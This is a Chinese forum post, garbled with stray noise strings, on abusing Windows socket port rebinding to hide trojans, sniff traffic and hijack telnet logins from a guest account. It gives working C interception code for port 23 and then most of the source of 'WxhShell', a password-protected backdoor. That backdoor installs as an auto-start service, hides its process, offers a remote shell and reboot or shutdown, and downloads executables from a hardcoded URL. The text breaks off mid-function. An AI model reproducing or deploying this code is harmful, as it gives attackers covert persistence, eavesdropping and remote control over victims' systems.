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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: ~h444Hp=  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); !)uXCg9U  
=5M '+>  
  saddr.sin_family = AF_INET; Q8bn|#`  
6hqqZ  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); T!Uf PfEI  
%* @hS`  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); p;{w0uld"  
P)hawH=  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 eRIdN(pP  
9q"G g?  
  这意味着什么?意味着可以进行如下的攻击: h>"Z=y  
OC2%9Igx0  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 s9BdmD^|#  
_P{v=`]Eu  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) @%#!-wC-5  
yx/qp<=  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 ^4>Icz^ F  
b'4r5@GO  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  Td![Id  
20mZ{_%  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 U,nQnD"!t&  
BC1P3Sk 6X  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 %(kf#[zQ  
K#plSD^f=  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 B4;P)\ 2  
IeJ@G)  
  #include )jN fQ!?/  
  #include Mer\W6e"e  
  #include pPZ^T5-ks  
  #include    /4u:5G  
  DWORD WINAPI ClientThread(LPVOID lpParam);   8\8%FSrc  
  int main() w7h=vy n?  
  { *wJ'Z4_5F  
  WORD wVersionRequested; ij1g2^],4  
  DWORD ret; |} K7Q  
  WSADATA wsaData; `H\NJ,  
  BOOL val; DZ0\pp?S  
  SOCKADDR_IN saddr; Jf8AKj3  
  SOCKADDR_IN scaddr;  tD}HL_  
  int err; 8_ _C T  
  SOCKET s; 4$b9<:M_  
  SOCKET sc; .@]M'S^1  
  int caddsize; !<MW*7P=  
  HANDLE mt; =DXvt5G  
  DWORD tid;   }#U3vMx(  
  wVersionRequested = MAKEWORD( 2, 2 ); dLTA21b#  
  err = WSAStartup( wVersionRequested, &wsaData ); \)9R1zp/x  
  if ( err != 0 ) { >.#tNFAs  
  printf("error!WSAStartup failed!\n"); 'P~6_BW  
  return -1; (Zu V5|N  
  } eFCXjM  
  saddr.sin_family = AF_INET; t8FgQ)tk  
   AkR ZUj\  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 _k.gVm  
60Obek`  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); YiPp#0T[Gx  
  saddr.sin_port = htons(23); eE;")t,  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) ' k[gxk|d2  
  { f*~z|  
  printf("error!socket failed!\n"); dCM*4B<  
  return -1; F`YxH*tO7  
  } <x2 F5$@  
  val = TRUE; gb/M@6/j  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 &:)e   
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) x+5y287#  
  { T89VSB~  
  printf("error!setsockopt failed!\n"); N\ dr_   
  return -1; SvGs?nUU  
  } )?PRG=  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; UQ 'U 4q  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 y7# 4Mcc`~  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 a'ODm6#  
I Ux svW+  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) b(H) 8#C  
  { A'X, zw^}  
  ret=GetLastError(); n;Etn!4M  
  printf("error!bind failed!\n"); Dbo.N`  
  return -1; !4G<&hvb  
  } H=k*;'  
  listen(s,2); bwAL:  
  while(1) & A<Pf.Us  
  { ^@..\X9  
  caddsize = sizeof(scaddr); +bK.{1  
  //接受连接请求 mg^\"GC*8  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); S+YbsLf  
  if(sc!=INVALID_SOCKET) ~cEr <mzR  
  { >K;'dB/m;1  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); kpN'H_ .  
  if(mt==NULL) .U !;fJ9  
  { 3 e9fziQ~  
  printf("Thread Creat Failed!\n"); SbW6O_   
  break; ba   
  } d\ Z#XzI8  
  } &Wup 7  
  CloseHandle(mt); v+Q# O[  
  } (_lc< Bj  
  closesocket(s); 'u2Qq"d+  
  WSACleanup(); AFSFXPl "  
  return 0; ?k:i3$  
  }   QYL ';  
  DWORD WINAPI ClientThread(LPVOID lpParam) C&'Y@GE5  
  { {XNu4d9w(  
  SOCKET ss = (SOCKET)lpParam; 8Cr?0Z  
  SOCKET sc; 3It'!R8$  
  unsigned char buf[4096]; 4n@, p0   
  SOCKADDR_IN saddr; ZWJFd(6  
  long num; (7rG~d1iS  
  DWORD val; lFY;O !Y5\  
  DWORD ret; 1`_i%R^  
  //如果是隐藏端口应用的话,可以在此处加一些判断 c};Qr@vpo  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   O({-lI  
  saddr.sin_family = AF_INET; h D/b O  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); ~U~4QQV  
  saddr.sin_port = htons(23); ?%HtPm2< %  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) HiG&`:P>q  
  { rkl/5z??  
  printf("error!socket failed!\n"); FB PT@`~v  
  return -1; a|\_'#  
  } ~>)GW  
  val = 100;  iV71t17  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) G?/1 F1  
  { P + nT%  
  ret = GetLastError(); mYk5f_}  
  return -1; 4>^ %_Xj[  
  } n.y72-&v  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) AsM""x1Ix  
  { hGF(E*  
  ret = GetLastError(); sh?Dxodp9  
  return -1; N3H!ptn37  
  } >}/"g x  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) &w3LMOT  
  { 8X]j;Rb  
  printf("error!socket connect failed!\n"); ~4*9w3t   
  closesocket(sc); q6{%vd  
  closesocket(ss); )x"Z$jIs  
  return -1; GKPqBi[rO  
  } /kVy#sT|  
  while(1) ?lU]J]  
  { }~-)31e'`  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。  \'"q6y  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 -zz9k=q  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 ][bz5aV  
  num = recv(ss,buf,4096,0); 4#=!VK8ZH  
  if(num>0) Xb3vvHdI  
  send(sc,buf,num,0); eeb 8v:4  
  else if(num==0) # dxlU/*  
  break; | _~BV&g,N  
  num = recv(sc,buf,4096,0); $zz=>BOk  
  if(num>0) m= fmf(  
  send(ss,buf,num,0); W9V%Xc`LQ  
  else if(num==0) AJ:@c7:eS  
  break; :"O=/p+*Us  
  } =fi.*d?$7  
  closesocket(ss); V|HSIJ#J  
  closesocket(sc); > KH4X:  
  return 0 ; j&m<=-q  
  } >e-XZ2>Sj  
L*h X_8J  
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========================================================== Ok({Al1A,w  
60AX2-sdJ,  
下边附上一个代码,,WXhSHELL ~rY<y%K  
#>ci!4Gz=Z  
========================================================== 7qXgHrr0|U  
? *I9  
#include "stdafx.h" W.:k E|a.g  
hY'"^?OP  
#include <stdio.h> dt3Vy*zL  
#include <string.h> ~`_nw5y  
#include <windows.h> .#WF'  
#include <winsock2.h> '}4[m>/  
#include <winsvc.h> ^Z:x poz,  
#include <urlmon.h> NnHM$hEI"U  
A7_*zR @  
#pragma comment (lib, "Ws2_32.lib") ,%nmCetD@  
#pragma comment (lib, "urlmon.lib") ~P6K)V|@<  
"TjR]jnV(  
#define MAX_USER   100 // 最大客户端连接数 /'VCJjzZ  
#define BUF_SOCK   200 // sock buffer ocgbBE  
#define KEY_BUFF   255 // 输入 buffer YBS]JCO  
x5`q)!<&  
#define REBOOT     0   // 重启 JG}U,{7(  
#define SHUTDOWN   1   // 关机 /e{Oqhf[n  
( v ~/glf  
#define DEF_PORT   5000 // 监听端口 Z^GriL  
#2HygS  
#define REG_LEN     16   // 注册表键长度 aeBth{  
#define SVC_LEN     80   // NT服务名长度 4VU5}"<  
'OX6e Y5  
// 从dll定义API J?%D4AeS]v  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); 2,QkktJLo  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); qs-:JmA_w  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); \HK#d1>ox  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); (uV7N7 <1  
U-n33ty`H  
// wxhshell配置信息 Fx3VQ'%J  
struct WSCFG { s.GhquFCrU  
  int ws_port;         // 监听端口 '{oe}].,  
  char ws_passstr[REG_LEN]; // 口令 4qm5`o\hb  
  int ws_autoins;       // 安装标记, 1=yes 0=no eEc;w#  
  char ws_regname[REG_LEN]; // 注册表键名 p Y>yJ)  
  char ws_svcname[REG_LEN]; // 服务名 Ca1)>1 Vz  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 (J^ Tss  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 o!\O)  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 #sqDZ]\B  
int ws_downexe;       // 下载执行标记, 1=yes 0=no y:|7.f  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" ]-PF?8  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 h0^V!.- 5  
nM0nQ{6  
}; G0]n4"~+?  
10}Zoq|)n  
// default Wxhshell configuration *!s4#|h  
struct WSCFG wscfg={DEF_PORT, z ~VA#8>  
    "xuhuanlingzhe", -O_UpjR;  
    1, [#9ij3vxd  
    "Wxhshell", C,I N+@  
    "Wxhshell", #JLDj(a?  
            "WxhShell Service", 9C4l@ jrF  
    "Wrsky Windows CmdShell Service", r 2   
    "Please Input Your Password: ", ^c(PZ,/#JB  
  1, G0(c@FBK  
  "http://www.wrsky.com/wxhshell.exe", ka>RAr J  
  "Wxhshell.exe" KT g$^"\  
    }; <hK$Cf_  
PO%]Jme  
// 消息定义模块 EhD|\WLx!  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; lMm-K%(2  
char *msg_ws_prompt="\n\r? for help\n\r#>"; &% *S  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; MW4dPoa  
char *msg_ws_ext="\n\rExit."; PZ ogN  
char *msg_ws_end="\n\rQuit."; j{;3+LCo*  
char *msg_ws_boot="\n\rReboot..."; >6kWmXK[  
char *msg_ws_poff="\n\rShutdown..."; 3x=F  
char *msg_ws_down="\n\rSave to "; y1 }d(%  
3tm z2JIb  
char *msg_ws_err="\n\rErr!"; x# YOz7.  
char *msg_ws_ok="\n\rOK!"; cLYc""=  
VmUM _Q~  
char ExeFile[MAX_PATH]; f<}!A$wd  
int nUser = 0; zEhy0LLm  
HANDLE handles[MAX_USER]; #VO2O0GR  
int OsIsNt; <m6Xh^Ko;  
~<Lf@yu-{  
SERVICE_STATUS       serviceStatus; ?\O+#U%W  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; 9=kTTFs  
\YKh'|04  
// 函数声明 PCLSY8N  
int Install(void); =:g^_Hy  
int Uninstall(void); hx2C<;s4  
int DownloadFile(char *sURL, SOCKET wsh); .gPsJ?b  
int Boot(int flag); %&] }P;&  
void HideProc(void); R_ 1C+  
int GetOsVer(void); & 9]KkY=  
int Wxhshell(SOCKET wsl); t~a$|( 9  
void TalkWithClient(void *cs); ^6 LFho4  
int CmdShell(SOCKET sock); n5JB'F)  
int StartFromService(void); ~NcJLU!au  
int StartWxhshell(LPSTR lpCmdLine); NuooA  
a[$.B2U  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); g~y9j88?  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); G4{qWa/  
2?r8>#_*  
// 数据结构和表定义 DdQf %W8u  
SERVICE_TABLE_ENTRY DispatchTable[] = fM|g8(TK,  
{ XOeh![eMX  
{wscfg.ws_svcname, NTServiceMain}, hv"toszj\  
{NULL, NULL} 6>L.)V  
}; __V]HcP;  
^ 2AF:(E  
// 自我安装 3H%HJS  
int Install(void) ,|4Ye  
{ wU ; f   
  char svExeFile[MAX_PATH]; Xou#38&p>  
  HKEY key; &Bp\kv  
  strcpy(svExeFile,ExeFile); ATzNV=2s  
ZKR z=(  
// 如果是win9x系统,修改注册表设为自启动 (k5DbP[  
if(!OsIsNt) { -+9x 0-P  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { wrO>#`Z  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); vW{cB y  
  RegCloseKey(key); tT8jC:oVa  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { _$'Mx'IC=  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); ^kl9U+  
  RegCloseKey(key); x<Zhj3  
  return 0; >b ["T+  
    } 5j{@2]i  
  } avpw+M6+  
} )PG,K 4z  
else { C}h@El  
r;XQ i  
// 如果是NT以上系统,安装为系统服务 NI1HUUZz  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); &V?q d{39  
if (schSCManager!=0) v2n0[b0  
{ >Y/[zf I2  
  SC_HANDLE schService = CreateService y\_S11{v  
  ( Z M+Hb_6f  
  schSCManager,  (v`;ym  
  wscfg.ws_svcname, `Q&] dE=  
  wscfg.ws_svcdisp, &1p8#i  
  SERVICE_ALL_ACCESS, bNROXiX  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , ,OKM\N ,  
  SERVICE_AUTO_START, )R^Cqo'  
  SERVICE_ERROR_NORMAL, K7hf m%`N  
  svExeFile, }R1`ThTM  
  NULL, gr 5]5u  
  NULL, j>o +}p?3I  
  NULL, bJ|?5  
  NULL, =GQ^uVf1  
  NULL @ g75T`N  
  ); N4To#Q1w  
  if (schService!=0) 0H3T'J%r  
  { Q@2tT&eL  
  CloseServiceHandle(schService); _=L;`~=C9e  
  CloseServiceHandle(schSCManager); u!uDu,y  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); .UrYF 0  
  strcat(svExeFile,wscfg.ws_svcname); gx*rSS?=N  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { VM]IL%AN  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); vs1Sh?O  
  RegCloseKey(key); s3-ktZ@  
  return 0; N}Ks[2  
    } }iSakq'  
  } ,w%oSlOu  
  CloseServiceHandle(schSCManager); z9ShP&^4[  
} eU koVr   
} JQ_gM._3  
KupMndK  
return 1; CjQ"oQw  
} 5FSv"=  
v1C.\fL  
// 自我卸载 Tq84Fn!HJ>  
int Uninstall(void) @LKG\zYBu  
{ _g 4 /%  
  HKEY key;  <8)s  
F36ViN\b  
if(!OsIsNt) { yb{Q,Dz  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { =$8@JF'  
  RegDeleteValue(key,wscfg.ws_regname); [S]!+YBK  
  RegCloseKey(key); d=Do@) m|  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { {TncqA  
  RegDeleteValue(key,wscfg.ws_regname); c,q"}nE8w  
  RegCloseKey(key); 0sd-s~;  
  return 0; F4rKFMr  
  } sdf%  
} *kQCW#y0  
} ^v!im\ r  
else { DvX3/z#T  
Iv(Qa6(  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); )E:,V~< 8  
if (schSCManager!=0) Iz )hz9k  
{ P/pjy  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); QP%kL*=8  
  if (schService!=0) 6!B^xm.R@  
  { (kC} ,}  
  if(DeleteService(schService)!=0) { g6g$nY@Jm  
  CloseServiceHandle(schService); hoR=%pC*  
  CloseServiceHandle(schSCManager); 3l%,D: ?  
  return 0; M{xVkXc>  
  } @vQa\|j  
  CloseServiceHandle(schService); ahtYSz_FM  
  } V-_/(xt*  
  CloseServiceHandle(schSCManager); Hl3)R*&'J  
} 3u*hT T  
} wm=RD98  
=x^l[>sz  
return 1; xb>n&ym?  
} 23-t$y]  
h/Hl?O8[  
// 从指定url下载文件 D;zWksq  
int DownloadFile(char *sURL, SOCKET wsh) XocsSs  
{ f>r3$WKj  
  HRESULT hr; rer|k<k;]G  
char seps[]= "/"; voV:H[RD9  
char *token; Vf 0fT?/K  
char *file; \C K(;J  
char myURL[MAX_PATH]; JA)o@[l F  
char myFILE[MAX_PATH]; o-~~,n\  
nMG rG  
strcpy(myURL,sURL); |rFR8srPG  
  token=strtok(myURL,seps); -2\ZzK0tM  
  while(token!=NULL) 5r4gmy>  
  { l RDxIuTK  
    file=token; YZGS-+  
  token=strtok(NULL,seps); 2L2 VVO  
  } 1n'$Ji7  
&Vt2be*  
GetCurrentDirectory(MAX_PATH,myFILE); ;cI#S%uvpn  
strcat(myFILE, "\\"); 0||"r&:X  
strcat(myFILE, file); 4;C*Fa  
  send(wsh,myFILE,strlen(myFILE),0); )C {h1 `  
send(wsh,"...",3,0); pp~3@_)b  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); ]4Y/xi-  
  if(hr==S_OK) +2DE/wE]e+  
return 0; > BNw  
else b]*X<,p  
return 1; hr$Sa  
?j/kOD0  
} '@TI48 J+  
9?;@*x  
// 系统电源模块 5VR.o!h3I  
int Boot(int flag) e&QS#k  
{ /vjGjb=3U  
  HANDLE hToken; s=d+GMa  
  TOKEN_PRIVILEGES tkp; yGiP[d|tRc  
W]]q=c%2  
  if(OsIsNt) { g5#CN:%f  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); Gg%tVQu  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); fcRj  
    tkp.PrivilegeCount = 1; p jKt:R}  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; X>8-` p  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); M$Fth*q{GD  
if(flag==REBOOT) { MO[kr2T  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) $!G`D=  
  return 0; ] @X{dc  
} Xb}!0k/{  
else { qy_%~c87  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) o+<29o  
  return 0; upypxC  
} l'U1 01M>F  
  } AnNP Ti  
  else { akT|Y4KxD  
if(flag==REBOOT) { s^w\zzYb  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) 4\M8BRuE  
  return 0; }[ ].\G\G  
} EeCFII  
else { v&fGCD\R  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) pOm@b `S%  
  return 0; ^7uX$  
} Kax#OYLpg  
} K@HQrv<  
\a\= gn   
return 1; JO2xT#V  
} `=79i$,,t  
-!c IesK;<  
// win9x进程隐藏模块 !!FR[NK  
void HideProc(void) 9\ v.qo.  
{ ~m=$VDWm  
Z>8eD|m%2  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); q7,^E`5EgU  
  if ( hKernel != NULL ) t5paY w-b  
  { R"*R99  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); 0q{[\51*  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); IAI(Ix  
    FreeLibrary(hKernel); &5u BNpH  
  } Y0@yD#,0~  
*Bs^NU.  
return; ic-IN~J-  
} ASW4,%cl  
ivfXat-  
// 获取操作系统版本 #{x5L^v>]  
int GetOsVer(void) @l~7 x  
{ H"+wsM^@  
  OSVERSIONINFO winfo; exQ#<x*  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); &]< 3 ~6n  
  GetVersionEx(&winfo); O)uOUB  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) hK(tPl$  
  return 1; x=-0zV  
  else =EW3&+Lt  
  return 0; vX+.e1m  
} qD-fw-,:  
[ ?iqqG.  
// 客户端句柄模块 ^ av6HFQ  
int Wxhshell(SOCKET wsl) :a.0he s  
{ $n-Af0tK  
  SOCKET wsh; 0z`/Hn  
  struct sockaddr_in client; VD$ Eb  
  DWORD myID; R \5Vq$Q  
rJQ=9qn\  
  while(nUser<MAX_USER) Jx$iwu  
{ .x}gg\  
  int nSize=sizeof(client); Nb;H`<JP  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); QHzgy?  
  if(wsh==INVALID_SOCKET) return 1; FXahZW~Ol  
Uoj i@  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); 6tn+m54_  
if(handles[nUser]==0)  sTkkM9  
  closesocket(wsh); /L&M,OUcr.  
else 9tK>gwb  
  nUser++; KE.Dt  
  } NZk&JND  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); ]JjK#eh  
:l,OalO  
  return 0; h^oH^moq<  
} gn ?YF`  
LjaGyj>)  
// 关闭 socket J8<J8x4  
void CloseIt(SOCKET wsh) _D,eyP9P  
{ +xp]:h|  
closesocket(wsh); | o0RP|l  
nUser--; *C6D3y  
ExitThread(0); :#u}.G  
} r_U>VT^E:  
l-.(Ez*  
// 客户端请求句柄 pu4,0bw  
void TalkWithClient(void *cs) xWE8W m  
{ CzVmNy)kl  
 c%f_.MiU  
  SOCKET wsh=(SOCKET)cs; &yIGr` ;  
  char pwd[SVC_LEN]; s-rfS7;  
  char cmd[KEY_BUFF]; =X1?_~}  
char chr[1]; ;..o7I  
int i,j; 1] #9  
K |*5Kwi  
  while (nUser < MAX_USER) { 3yV'XxC  
j~`\XX{>  
if(wscfg.ws_passstr) { E0l _--  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); \+nGOvM  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 3`F) AWzdr  
  //ZeroMemory(pwd,KEY_BUFF); =Z,5$6%)  
      i=0; M#,Q ^rH#  
  while(i<SVC_LEN) { j6g@tx^)'  
Rc[0aj:  
  // 设置超时 zY=jXa)K~  
  fd_set FdRead; OH6^GPF6  
  struct timeval TimeOut; 7:Zt uc]  
  FD_ZERO(&FdRead);  ?=Db@97  
  FD_SET(wsh,&FdRead); O#eZ<hN V  
  TimeOut.tv_sec=8; 9V 0}d2d  
  TimeOut.tv_usec=0; N|:'XwL  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); H?`g!cX  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); qpp/8M  
M\D]ml~  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); ;inzyFbL=  
  pwd=chr[0]; p_2pU)%  
  if(chr[0]==0xd || chr[0]==0xa) { u\1>gDI)|  
  pwd=0; H!)=y  
  break; x_MJJ(q8g  
  } CN&  
  i++; Bh]!WMAw.  
    } ^G1%6\We  
Yu3zM79'k  
  // 如果是非法用户,关闭 socket ~i~%~doa  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); @jy41eIo  
} m:+8J,jW  
gfa[4 z  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); Q2|p \rO  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); uQqWew8l+  
Pbu{'y3J  
while(1) { v?:: |{  
kH948<fk3  
  ZeroMemory(cmd,KEY_BUFF); [xZU!=  
)R2XU  
      // 自动支持客户端 telnet标准   OJO!FH)  
  j=0; SO f{Hx0C6  
  while(j<KEY_BUFF) { ZKpvDH'  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); y 9l*m~  
  cmd[j]=chr[0]; O4iC]5@  
  if(chr[0]==0xa || chr[0]==0xd) { rN/| (@  
  cmd[j]=0; :aAEJ  
  break; n,'OiVl[  
  } HMGB>  
  j++; g);^NAA  
    } 0?DC00O  
EbY,N:LK  
  // 下载文件 'gMfN  
  if(strstr(cmd,"http://")) { ,&^3Z  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); 5F"|E-;  
  if(DownloadFile(cmd,wsh)) 3_$w| ET  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); jXg  
  else IE2"rQT  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Orn0Zpp<z  
  } ]T:;Vo  
  else { f9u^R=Ff[  
hT g<*  
    switch(cmd[0]) { `# P$ ]:  
  S>Yj@L  
  // 帮助 :[l\@>H1tX  
  case '?': { .Ajzr8P  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); R`8@@ }  
    break; Guw}=l--YR  
  } )cJ#-M2  
  // 安装 !YL. .fb  
  case 'i': { XOP"Px@  
    if(Install()) hfWFD,  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); `>C<}xO  
    else 2x]>l? 5b  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); `fNpY#QsN  
    break; xw5d|20b  
    } A7_4 .VH  
  // 卸载 9A'Y4Kg<C  
  case 'r': { ?%tMohL  
    if(Uninstall()) 2B0W~x2=  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); Sl2iz?   
    else -fI`3#  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 7cDU2l  
    break; {7hLsK[])  
    } sic"pn],U  
  // 显示 wxhshell 所在路径 OR1DYHHT/1  
  case 'p': { WsU)Y&  
    char svExeFile[MAX_PATH]; 4R^mI  
    strcpy(svExeFile,"\n\r"); :ue:QSt(u  
      strcat(svExeFile,ExeFile); *|.0Myjo  
        send(wsh,svExeFile,strlen(svExeFile),0); gmKGy@]  
    break; 1$/MrPT(b  
    } &F *' B|n  
  // 重启 82{&# Vc  
  case 'b': { 5 |0,X<&  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); MM_k ]-7  
    if(Boot(REBOOT)) C*=Xk/0  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); _9 .(a  
    else { r|Z3$J{^"  
    closesocket(wsh); `:8J46or  
    ExitThread(0); !LMN[3M_  
    } Dr&('RZ4  
    break; 1@48BN8cm'  
    } \*hrW(   
  // 关机 d_UN0YT<  
  case 'd': { Ks^6.)  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); Y_&g="`Q  
    if(Boot(SHUTDOWN)) ?lGG|9J\  
